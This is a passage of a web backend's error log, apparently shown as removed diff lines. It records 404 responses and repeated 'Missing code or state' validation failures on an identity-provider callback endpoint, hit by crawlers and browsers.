userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' - }, - requestId: 'req_1758632295824_gdlb6ik5y', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T12:58:15.933Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:89.241.240.50', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' - }, - requestId: 'req_1758632295932_fw7o92we0', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T12:58:16.282Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:89.241.240.50', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36' - }, - requestId: 'req_1758632296281_cto4icydi', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T12:59:02.646Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758632342646_6lqdi5jh8' -} -❌ [ERROR] 2025-09-23T12:59:02.647Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758632342646_6lqdi5jh8', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:04:58.414Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758632698413_l8s9hgygy' -} -❌ [ERROR] 2025-09-23T13:04:58.414Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758632698413_l8s9hgygy', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:10:58.223Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758633058221_jnz6je2oz' -} -❌ [ERROR] 2025-09-23T13:10:58.225Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 4, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758633058221_jnz6je2oz', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9LBMRO-FwcT5TbR2K8lbIWCQx7yZYFI3ygtuNErfGKrxYwG_bn4xkAMz-oeH-oKXZCghq-393Pb7Rrga9vLSLglJ27IClzEbIu1o-hp-hpIrLyysbSPFvIR84CQxQ7YsS3Ic7x2j88IBWQOGGDtrXkBO5rbiSuYX0r9VGCP0M-SbnXlPEIoIB38WNZ2_UwI89PPyecSZfLNP6iSb0gbAuYefeUdKREdgCsstF1U8Zz7sd-FkX0JkuXSTBW1_C7x_HpQ_IL9C2vqAGd1Was2CGYC25fI3MJ_d4AYoKG5wUNwJTFoA0Fj3yy44EDuZQ3nEu5JKluy9VyhhIwf9JZkGaeWuDUQUPLa8Fe4n-2MjuPmILYz8zM3apwmNnc2EIyCEK8ZrzqScMJyZIllClzC2d8bhYud3H6uYNdxB0', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '37.171.119.253', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:12:06.239Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9L'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758633126238_aksgpypcs' -} -❌ [ERROR] 2025-09-23T13:12:06.239Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9LBMRO-FwcT5TbR2K8lbIWCQx7yZYFI3ygtuNErfGKrxYwG_bn4xkAMz-oeH-oKXZCghq-393Pb7Rrga9vLSLglJ27IClzEbIu1o-hp-hpIrLyysbSPFvIR84CQxQ7YsS3Ic7x2j88IBWQOGGDtrXkBO5rbiSuYX0r9VGCP0M-SbnXlPEIoIB38WNZ2_UwI89PPyecSZfLNP6iSb0gbAuYefeUdKREdgCsstF1U8Zz7sd-FkX0JkuXSTBW1_C7x_HpQ_IL9C2vqAGd1Was2CGYC25fI3MJ_d4AYoKG5wUNwJTFoA0Fj3yy44EDuZQ3nEu5JKluy9VyhhIwf9JZkGaeWuDUQUPLa8Fe4n-2MjuPmILYz8zM3apwmNnc2EIyCEK8ZrzqScMJyZIllClzC2d8bhYud3H6uYNdxB0 - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758633126238_aksgpypcs', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '37.171.119.253', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:12:14.333Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758633134332_cijg33peb' -} -❌ [ERROR] 2025-09-23T13:12:14.333Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758633134332_cijg33peb', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '37.171.119.253', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:12:21.507Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758633141506_v1s3uq94s' -} -❌ [ERROR] 2025-09-23T13:12:21.508Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758633141506_v1s3uq94s', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7TA-abFKh_8BKbGKfZj_faKB11Kai4jBAblI8iQqKHJlWcKXjOQLzJyluMRx8vY53nCAW5UGC705JLKSIzFizmI3s4bhYPMgQOVRtwmVqMT8pakjn_4WQPaePaNG41gHxijAqO7T7Qe4HhKOkM3V9is8B2VWd0OLI1S03eGTep4jbWdeOKaQblcXIRmpOnznS_BExyGFYQeGfiInZ5hN6zmJKAzt9yT3j1tSxhM8GPRH16Okp0i_vanwDE-AVdz5yJ1Idxh8-TYOb4pgBakYMG14Epn0Z7FsFXxPBhtO_Sht39Nb-t0Fxx8T_JPyfwEoxRlual-7nbIfV4IwJRBtdV6fWetwkeoaZbwM3f4ZZtVb_ajthrdNUae4QH3GKrj43eS0rj8qXpNM7oXkiDTdlNOgKL30hmwZLjMjSbteTLjaMLCCXyNaPIlOcPVInnShjORlsndweUj4RELTiaVj7nPvZ3HnXCBKlAOq8PNvRF_xxq-dHRGOYBe04-5diTFKo0Kzoje0TERDexTN8451jwDKLfndWx_nbPJqs8sby5Fg', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '37.171.119.253', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:12:52.149Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7TA-abFKh_8BKbGKfZj_faKB11Kai4jBAblI8iQqKHJlWcKXjOQLzJyluMRx8vY53nCAW5UGC705JLKSIzFizmI3s4bhYPMgQOVRtwmVqMT8pakjn_4WQPaePaNG41gHxijAqO7T7'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7TA-abFKh_8BKbGKfZj_faKB11Kai4jBAblI8iQqKHJlWcKXjOQLzJyluMRx8vY53nCAW5UGC705JLKSIzFizmI3s4bhYPMgQOVRtwmVqMT8pakjn_4W'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758633172148_umazjkvma' -} -❌ [ERROR] 2025-09-23T13:12:52.150Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7TA-abFKh_8BKbGKfZj_faKB11Kai4jBAblI8iQqKHJlWcKXjOQLzJyluMRx8vY53nCAW5UGC705JLKSIzFizmI3s4bhYPMgQOVRtwmVqMT8pakjn_4WQPaePaNG41gHxijAqO7T7Qe4HhKOkM3V9is8B2VWd0OLI1S03eGTep4jbWdeOKaQblcXIRmpOnznS_BExyGFYQeGfiInZ5hN6zmJKAzt9yT3j1tSxhM8GPRH16Okp0i_vanwDE-AVdz5yJ1Idxh8-TYOb4pgBakYMG14Epn0Z7FsFXxPBhtO_Sht39Nb-t0Fxx8T_JPyfwEoxRlual-7nbIfV4IwJRBtdV6fWetwkeoaZbwM3f4ZZtVb_ajthrdNUae4QH3GKrj43eS0rj8qXpNM7oXkiDTdlNOgKL30hmwZLjMjSbteTLjaMLCCXyNaPIlOcPVInnShjORlsndweUj4RELTiaVj7nPvZ3HnXCBKlAOq8PNvRF_xxq-dHRGOYBe04-5diTFKo0Kzoje0TERDexTN8451jwDKLfndWx_nbPJqs8sby5Fg - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7TA-abFKh_8BKbGKfZj_faKB11Kai4jBAblI8iQqKHJlWcKXjOQLzJyluMRx8vY53nCAW5UGC705JLKSIzFizmI3s4bhYPMgQOVRtwmVqMT8pakjn_4W'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758633172148_umazjkvma', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7IZP2ec8AYoIGx2KvgsRvdCPRzWtPbBmdXHlq-qZeM0HvTErRMUnP8fCZLWehbRuBdWoKzRtE5jMxRROiRx6JWLPLWMT2m7d-JuB06vkGA1M1fAorY5886f8GS0vaEQPx0Y7C8rTRUCW3rataujD7-rsCAzu_rh1jo9fanRYb0Q7DtwWyDKM59I7tQPCtjRr6HF1bflUYdHIQT8rVUBSlf44DX0knkFXiEzBnTpduWUDqwbPr0ywV0cGzvQy8N8uf-07h1PNI7OaPTqI4xWFEM2pvW1173COe4_7qKws1WeVIJ78Pj1GLxV81GH9cqXNavblMZVUpv-Vz9GoBeri5wx647qhLjtLrUsyqYv_tbICgyFCrSr7ygzJLKIIBtqj7WqX7z3Qkef4Edh2ZCjJtDRGN9ui7lkwVdlAiVxy9C6IXIt0J5De5pZJI6jjuV8kZXrAdIzR_9Ip4fjUUg-w1o6LKKpvYK0Ua14emB2AOwQ00RD0cd_w60qJGdKegJNDcZ1CtfsjEkWbOgaq7xwKKpiQiEnXl_KR0gbxaGmiR0ng', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '35.171.45.91', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:13:52.146Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7IZP2ec8AYoIGx2KvgsRvdCPRzWtPbBmdXHlq-qZeM0HvTErRMUnP8fCZLWehbRuBdWoKzRtE5jMxRROiRx6JWLPLWMT2m7d-JuB06vkGA1M1fAorY5886f8GS0vaEQPx0Y7C8rTR'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7IZP2ec8AYoIGx2KvgsRvdCPRzWtPbBmdXHlq-qZeM0HvTErRMUnP8fCZLWehbRuBdWoKzRtE5jMxRROiRx6JWLPLWMT2m7d-JuB06vkGA1M1fAorY58'... 440 more characters, - userAgent: 'got (https://github.com/sindresorhus/got)' - }, - requestId: 'req_1758633232145_rt27fhpi7' -} -❌ [ERROR] 2025-09-23T13:13:52.147Z HTTP GET 